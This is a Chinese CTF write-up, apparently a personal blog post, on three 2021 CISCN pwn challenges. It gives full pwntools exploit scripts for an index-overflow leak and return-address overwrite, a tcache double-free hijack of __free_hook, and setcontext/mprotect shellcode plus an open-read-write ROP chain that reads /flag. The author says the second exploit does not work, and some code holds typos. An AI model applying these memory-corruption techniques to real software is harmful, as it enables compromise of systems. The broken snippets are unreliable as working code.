2021 ciscn线上赛
1.pwny
这道题好像是解出来的比较多的,程序也没什么特别的,只有read和write两个函数,整体思想就是通过数组下标的溢出来控制各个数据,以达成泄露和任意写的目的哦~
不过在编写exp的时候有一个函数学到了一些,因为达到溢出的时候可能会传入一个负数的下标,但是计算机并不知道这是负数啊,0xFFFFFFFFFFFFFFFF是-1
1 2 3 4 5
| def trans(x): if (x >= 0): return x else: return 0xFFFFFFFFFFFFFFFFFFFF + 1 + X
|
还有一个点就是利用environ找偏移时的调试过程。固定偏移为0x120
经过这次调试我对调试有了更深的了解。下面我们来介绍一下我调试的过程
1.
在上面的gdb.attach(p)就是运行脚本到此位置时打开gdb调试,然后在gdb框中输入c,就会运行到pause()处,然后我们就可以进行调试
2.
找到后三为b20的函数,s进入,直到ret处就可以了(因为ida里ba0为write的地址)
其他的就是泄露libc基址和程序基址喽,然后改写write函数的返回地址为onegadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| from pwn import * def read(idx): p.recvuntil('choice: ') p.sendline('1') p.recvuntil('Index: ') p.send(idx)
def write(idx): p.recvuntil('choice: ') p.sendline('2') p.recvuntil('Index: ') p.sendline(str(idx))
def write_content(idx,content): p.recvuntil('choice: ') p.sendline('2') p.recvuntil('Index: ') p.sendline(str(idx)) p.send(content)
def trans(x): if (x >= 0): return x else: return 0xFFFFFFFFFFFFFFFF + x + 1 def g(): gdb.attach(p) input()
libc = ELF('./libc-2.27.so')
p = process('./pwny',env={"LD_PRELOAD":"./libc-2.27.so"})
write(256) write(256) base = 0x202060 read(p64(trans((0x201f98-base)/8))) p.recvuntil("Result: ")
libc_base = int(p.recvuntil("\n")[:-1],base = 16) - libc.sym["puts"] one_gadget = libc_base + 0x10a41c success("libc_base:"+hex(libc_base))
read(p64(trans((0x201D88-0x202060)/8))) p.recvuntil("Result: ") bss_addr = int(p.recvuntil("\n")[:-1],base = 16) - 0x9C0 + base success("bss_addr:"+hex(bss_addr))
environ = libc.symbols['environ'] + libc_base
read(p64(trans((environ-bss_addr)/8))) pause() p.recvuntil("Result: ") ret_addr = int(p.recvuntil('\n')[:-1], base = 16)-0x120 success("ret_addr:"+hex(ret_addr)) write_content((ret_addr-bss_addr)/8, p64(one_gadget))
p.interactive()
|
2.lonelywolf
这题很妙啊,有UAF,double free,但是只能控制一个chunk,即第一个chunk,并且申请大小不能大于0x78,如果申请了两个chunk,只能控制新申请的
所以这题我们直接控制tcache结构体就好啦,我们就可以分配到任意想分配的地方,直接上exp,但是我不知道为啥打不通,思路应该没错呀。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| from pwn import * context.log_level = "debug" p = process("./lonelywolf") libc = ELF("./libc-2.27.so") def g(): gdb.attach(p) input()
def add(size): p.sendlineafter("Your choice: ","1") p.sendlineafter("Index: ","0") p.sendlineafter("Size: ",str(size))
def edit(content): p.sendlineafter("Your choice: ","2") p.sendlineafter("Index: ","0") p.sendlineafter("Content: ",content)
def show(): p.sendlineafter("Your choice: ","3") p.sendlineafter("Index: ","0")
def free(): p.sendlineafter("Your choice: ","4") p.sendlineafter("Index: ","0")
add(0x78) edit("\x00") free() edit("\x00") free() show() p.recvuntil("Content: ") heap_addr = u64(p.recv(6).ljust(8,"\x00")) - 0x260 success("heap_addr:"+hex(heap_addr))
edit(p64(heap_addr+0x10)) add(0x70) add(0x70) edit('\x00'*0x23 + '\x07')
free() show() p.recvuntil("Content: ") main_arena = u64(p.recv(6).ljust(8,"\x00")) libc_base = main_arena - 0x70 - libc.sym["__malloc_hook"] success("libc_base:"+hex(libc_base)) malloc_hook = libc_base + libc.sym["__malloc_hook"] free_hook = libc_base + libc.sym["__free_hook"] system = libc_base + libc.sym["system"]
edit('\x03' + '\x00'*0x3F + p64(free_hook-8)) add(0x18)
edit("/bin/sh\x00"+p64(system))
free()
p.interactive()
|
明天继续干
3.silverwolf(待续)
这道题我看了别人的wp,大概有两种解法,一个是布置orw,另一个是用onegadget,我也不知道为什么开了沙箱还能用onegadget
利用orw的时候,需要先知道一个事,就是释放堆块之后rdi变成该堆块的user起始地址。我用的是在free_hook+0xa0处布置一个read函数用来接收orw的rop,因为申请chunk的空间很小。还有一种布置rop的方法,最后用puts函数,不用write函数,因为puts函数的参数少
不需要heap的构造有两种,第一种是先改权限,再调用read函数输入orw
另一种是先调用read函数,再将改权限和orw一起输入
即都是控制rip和rsp呗,构造成一个chain
setcontext+53用法
在free_hook上填入setcontext+53,然后在要free的堆处布置好(可以用pwntools的SigreturnFrame来构造rsp和rip)这里一般是mprotect提高某个我们能控制的位置的权限,要注意,构造的rsp就是rdi+0xa0,rip就是rcx。
rsp赋值为接下来要执行的shellcode1为read系统调用,然后传入shellcode2(即orw,但是这种方法不用泄露heap地址)
1 2 3 4 5 6 7 8 9 10 11
| new_addr = free_hook &0xFFFFFFFFFFFFF000 shellcode1 = ''' xor rdi, rdi mov rsi, {} mov rdx, 0x1000 mov rax, 0 syscall jmp rsi '''.format(new_addr) edit(1,p64(set_context+53)+p64(free_hook+0x18)*2+asm(shellcode1))
|
1 2 3 4 5 6 7
| frame = SigreturnFrame() frame.rsp = free_hook+0x10 frame.rdi = new_addr frame.rsi = 0x1000 frame.rdx = 7 frame.rip = libc.sym['mprotect'] edit(0,str(frame))
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| shellcode2 = ''' mov rax, 0x67616c662f ;// /flag push rax
mov rdi, rsp ;// /flag mov rsi, 0 ;// O_RDONLY xor rdx, rdx ; mov rax, 2 ;// SYS_open syscall
mov rdi, rax ;// fd mov rsi,rsp ; mov rdx, 1024 ;// nbytes mov rax,0 ;// SYS_read syscall
mov rdi, 1 ;// fd mov rsi, rsp ;// buf mov rdx, rax ;// count mov rax, 1 ;// SYS_write syscall
mov rdi, 0 ;// error_code mov rax, 60 syscall ''' sl(io,asm(shellcode2))
|
泄露heap地址的orw就简单好多,只需要在一个要free掉的chunk内构造fake_rsp,fake_rip
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| p = 'a'*0xa0 + p64(fake_rsp) + p64(ret) p = p.ljust(0xb0, '\x00') p += './flag\x00\x00' p += p64(0) p += p64(pop_rdi_ret) + p64(flag) p += p64(pop_rsi_ret) + p64(0) p += p64(libc_base+libc.sym['open']) p += p64(pop_rdi_ret) + p64(3) p += p64(pop_rdx_rsi_ret) + p64(0x30) + p64(fake_rsp+0x100) p += p64(libc_base + libc.sym['read']) p += p64(pop_rdi_ret) + p64(1) p += p64(pop_rdx_rsi_ret) + p64(0x30) + p64(fake_rsp+0x100) p += p64(libc_base + libc.sym['write']) add(0x400, p) free(10)
|